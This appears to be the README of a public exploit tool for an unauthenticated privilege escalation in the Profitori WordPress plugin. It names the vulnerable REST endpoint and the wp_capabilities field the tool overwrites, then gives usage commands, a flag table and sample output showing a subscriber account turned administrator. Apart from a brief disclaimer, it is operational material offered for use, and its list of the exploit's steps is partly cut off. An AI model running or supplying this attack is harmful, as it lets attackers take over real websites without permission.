
Profitori 2.0.6.0 - 2.1.1.3 - Missing Authorization to Unauthenticated Privilege Escalation
Profitori Plugin (versions 2.0.6.0 to 2.1.1.3) is vulnerable to unauthenticated privilege escalation due to a missing capability check in the /wp-json/stocktend/v1/stocktend_object endpoint. This allows remote attackers to escalate the privileges of existing users (or create new ones) by directly manipulating the wp_capabilities meta field.
This Python exploit automates the privilege escalation process by:
readme.txt file.If the version check fails, the exploit proceeds cautiously with a warning.

usage: CVE-2025-4631.py [-h] -u URL -id ID [--email EMAIL] [--name NAME] [--url_field URL_FIELD] [--verbose]
python CVE-2025-4631.py -u http://nxploit.ddev.site -id 3
[📄] Checking plugin version at: http://nxploit.ddev.site/wp-content/plugins/profitori/readme.txt
[✅] Vulnerable version detected: 2.1.1.3
[🚀] Exploiting in 3 seconds...
[📡] Sending privilege escalation request to: http://nxploit.ddev.site/wp-json/stocktend/v1/stocktend_object
[🎯] Exploit completed successfully!
[🧾] Updated User Information:
--------------------------------------
🆔 User ID : 3
👤 Username : subscriber
📧 Email : [email protected]
🪪 Display Name : Subscriber User
🔗 User URL :
🛡 Role Raw : a:1:{s:13:"administrator";b:1;}
[👑] Exploit By : Nxploited (Khaled_alenazi)
🔗 GitHub : https://github.com/Nxploited
📧 Email : [email protected]
requests libraryInstall via:
pip install requests
This tool is provided for educational and authorized testing purposes only. Any misuse of this exploit against systems you do not own or have explicit permission to test is strictly prohibited. The creator is not responsible for any damages or legal consequences arising from improper usage.
BY: Nxploited ( Khaled_Alenazi )
| Flag | Description | Required |
|---|
-u, --url | 🌐 Base URL of the WordPress site | ✅ Yes |
-id | 🆔 ID of the user to escalate | ✅ Yes |
--email | 📧 Fake email to display | ❌ No |
--name | 👤 Display name | ❌ No |
--url_field | 🔗 User URL field | ❌ No |
--verbose | 🔍 Print full JSON response | ❌ No |